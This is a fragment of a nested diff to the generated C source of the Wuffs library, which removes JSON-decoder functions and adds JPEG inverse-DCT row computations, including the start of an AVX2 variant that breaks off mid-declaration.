+- : wuffs_base__error__initialize_not_called); +- } +- +- if (a_key >= 1225364480u) { +- a_key -= 1225364480u; +- if (a_key < 21u) { +- self->private_impl.f_quirks[a_key] = (a_value > 0u); +- return wuffs_base__make_status(NULL); ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[24u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[26u]; ++ v_in6 = v_intermediate[30u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[24u]; ++ v_in4 = v_intermediate[28u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[25u]; ++ v_in3 = v_intermediate[27u]; ++ v_in5 = v_intermediate[29u]; ++ v_in7 = v_intermediate[31u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} +- +-// -------- func json.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_json__decoder__history_retain_length( +- const wuffs_json__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (0u == (v_intermediate[33u] | ++ v_intermediate[34u] | ++ v_intermediate[35u] | ++ v_intermediate[36u] | ++ v_intermediate[37u] | ++ v_intermediate[38u] | ++ v_intermediate[39u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[32u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[34u]; ++ v_in6 = v_intermediate[38u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[32u]; ++ v_in4 = v_intermediate[36u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[33u]; ++ v_in3 = v_intermediate[35u]; ++ v_in5 = v_intermediate[37u]; ++ v_in7 = v_intermediate[39u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- +- return 0u; +-} +- +-// -------- func json.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_json__decoder__workbuf_len( +- const wuffs_json__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (0u == (v_intermediate[41u] | ++ v_intermediate[42u] | ++ v_intermediate[43u] | ++ v_intermediate[44u] | ++ v_intermediate[45u] | ++ v_intermediate[46u] | ++ v_intermediate[47u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[40u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[42u]; ++ v_in6 = v_intermediate[46u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[40u]; ++ v_in4 = v_intermediate[44u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[41u]; ++ v_in3 = v_intermediate[43u]; ++ v_in5 = v_intermediate[45u]; ++ v_in7 = v_intermediate[47u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (0u == (v_intermediate[49u] | ++ v_intermediate[50u] | ++ v_intermediate[51u] | ++ v_intermediate[52u] | ++ v_intermediate[53u] | ++ v_intermediate[54u] | ++ v_intermediate[55u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[48u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[50u]; ++ v_in6 = v_intermediate[54u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[48u]; ++ v_in4 = v_intermediate[52u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[49u]; ++ v_in3 = v_intermediate[51u]; ++ v_in5 = v_intermediate[53u]; ++ v_in7 = v_intermediate[55u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (0u == (v_intermediate[57u] | ++ v_intermediate[58u] | ++ v_intermediate[59u] | ++ v_intermediate[60u] | ++ v_intermediate[61u] | ++ v_intermediate[62u] | ++ v_intermediate[63u])) { ++ if (8u > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[56u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ } else { ++ v_in2 = v_intermediate[58u]; ++ v_in6 = v_intermediate[62u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[56u]; ++ v_in4 = v_intermediate[60u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[57u]; ++ v_in3 = v_intermediate[59u]; ++ v_in5 = v_intermediate[61u]; ++ v_in7 = v_intermediate[63u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (8u > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func json.decoder.decode_tokens ++// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 ++// -------- func jpeg.decoder.decode_idct_x86_avx2 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_json__decoder__decode_tokens( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_vminor = 0; +- uint32_t v_number_length = 0; +- uint32_t v_number_status = 0; +- uint32_t v_string_length = 0; +- uint32_t v_whitespace_length = 0; +- uint32_t v_depth = 0; +- uint32_t v_stack_byte = 0; +- uint32_t v_stack_bit = 0; +- uint32_t v_match = 0; +- uint32_t v_c4 = 0; +- uint8_t v_c = 0; +- uint8_t v_backslash = 0; +- uint8_t v_char = 0; +- uint8_t v_class = 0; +- uint32_t v_multi_byte_utf8 = 0; +- uint8_t v_backslash_x_ok = 0; +- uint8_t v_backslash_x_value = 0; +- uint32_t v_backslash_x_string = 0; +- uint8_t v_uni4_ok = 0; +- uint64_t v_uni4_string = 0; +- uint32_t v_uni4_value = 0; +- uint32_t v_uni4_high_surrogate = 0; +- uint8_t v_uni8_ok = 0; +- uint64_t v_uni8_string = 0; +- uint32_t v_uni8_value = 0; +- uint32_t v_expect = 0; +- uint32_t v_expect_after_value = 0; +- +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct_x86_avx2( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q) { ++ __m256i v_k_0000 = {0}; ++ __m256i v_k_8080 = {0}; ++ __m256i v_k_0000_0002 = {0}; ++ __m256i v_k_0001_FFFF = {0}; ++ __m256i v_k_0400_0000 = {0}; ++ __m256i 